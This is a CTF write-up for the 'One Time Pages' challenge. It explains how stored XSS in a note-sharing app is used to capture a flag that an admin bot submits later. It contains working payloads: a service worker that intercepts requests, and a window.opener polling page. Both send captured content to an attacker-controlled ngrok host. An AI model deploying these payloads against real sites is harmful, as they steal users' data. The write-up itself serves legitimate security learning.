One Time Pages
4 minutes to read
We are have a website to create notes and share them with a unique URL:
There is also a bot in this challenge, we are given the following bot.js
file:
import puppeteer from "puppeteer";
const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
export const APP_URL = `https://hackon-one-time-pages.chals.io/`;
const sleep = async (s) => new Promise((resolve) => setTimeout(resolve, s * 1000));
export const visit = async (id) => {
const url = APP_URL + id
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
'--js-flags="--noexpose_wasm"',
],
});
const context = await browser.createBrowserContext();
try {
const page = await context.newPage();
await page.goto(url, { timeout: 2000 });
await sleep(1);
await page.goto(APP_URL, { timeout: 2000 });
await page.type('#textarea', FLAG);
await page.click('#submit');
await sleep(2);
await page.waitForSelector('input[type="text"]');
const noteUrl = await page.$eval('input[type="text"]', el => el.value);
await page.goto(noteUrl, { timeout: 2000 });
await sleep(2);
await page.close();
} catch (e) {
console.error(e);
}
await context.close();
await browser.close();
console.log(`end: ${url}`);
}
Source code analysis
The bot does the following:
- Receives the ID of an existing note on the web application
- Visits that page
- Then it opens the web application and generates a note with the flag
- Finally, it opens this note
The web application is very simple:
- We are allowed to insert arbitrary HTML, including
script
tags - The form submission is handled by JavaScript using
fetch
- The note URL contains a UUID, which is not predictable
- The note page simply renders the note content, as is
Solution
We need to find a way to see the flag that is inserted by the bot, even if our controlled note is no longer visible.
The bot uses the same tab to navigate to our note, the web application, and the flag note. A simple Cross-Site Scripting (XSS) attack will fail because when the bot visits another URL, the JavaScript execution will stop.
There are two ways to obtain the flag:
The Service Worker way
There is a JavaScript feature called Service Worker that allows a website to register code that will be executed in background even if the website is no longer visible. The MDN documentation says:
Service workers essentially act as proxy servers that sit between web applications, the browser, and the network (when available). They are intended, among other things, to enable the creation of effective offline experiences, intercept network requests, and take appropriate action based on whether the network is available, and update assets residing on the server. They will also allow access to push notifications and background sync APIs.
So, it is perfect for this challenge. In order to solve it, we must create a note with the JavaScript code that contains the Service Worker logic:
self.addEventListener('fetch', async event => {
let flag = await event.request.clone().json()
fetch('https://abcd-12-34-56-78.ngrok-free.app', {
body: flag,
method: 'post',
})
})
This logic will intercept the fetch
event, take the request body and send it to a controlled server exposed by ngrok
. For more information, read this blogpost.
And the bot will visit the following page, the one that registers the Service Worker:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>asdf</title>
</head>
<body>
<script>
navigator.serviceWorker.register('/1735c596-7c86-4099-b452-c3d2e1b5e929').then(() => {
console.log('Service Worker Registered!')
})
</script>
</body>
</html>
The tabnabbing way
There is another approach, related to a tabnabbing attack, which causes the browser to navigate to a modified page after the page has been left unattended for some time.
We won’t be doing a tabnabbing attack, because the bot doesn’t go back to another tab. However, the tabnabbing attack works because one page opens another page in a new tab, and this new page is able to read/write content of the opener page.
Modern web mitigations don’t allow tabs to modify other tabs of the same domain, as far as I know. But we only need to read content, and it is allowed.
So, the idea is to create a note that opens another note in a new tab. This note will be able to read from the first tab, even if the URL changes (as long as it is the same origin).
So, we will create this HTML page to monitor the opener tab every 500 milliseconds. Once we find a match with HackOn{
, we will have the flag and send it to our controlled server:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>asdf</title>
</head>
<body>
<script>
setInterval(() => {
const text = window.opener.parent.document.body.textContent
if (text.includes('HackOn{')) {
fetch('https://abcd-12-34-56-78.ngrok-free.app', {
body: text,
method: 'post',
})
}
}, 500)
</script>
</body>
</html>
And this is the page that the bot need to visit, the one that opens the previous one in a new tab:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>asdf</title>
</head>
<body>
<script>
setTimeout(() => window.open('/9b236a58-1d27-1478-f413-e3e7fdb4e145'), 500)
</script>
</body>
</html>
Flag
With any of these approaches, we will get the flag on the controlled server exposed by ngrok
:
HackOn{service_workers_ftw_D6yCIiMQtd_-usFoAMxs8QPCYE16i_Ka_Y2rtlfVIcLglJXU0Ahsdo91Qeg5-1gidcsU77h60iapZ6eBval4uDwyUjgNFEUrDA}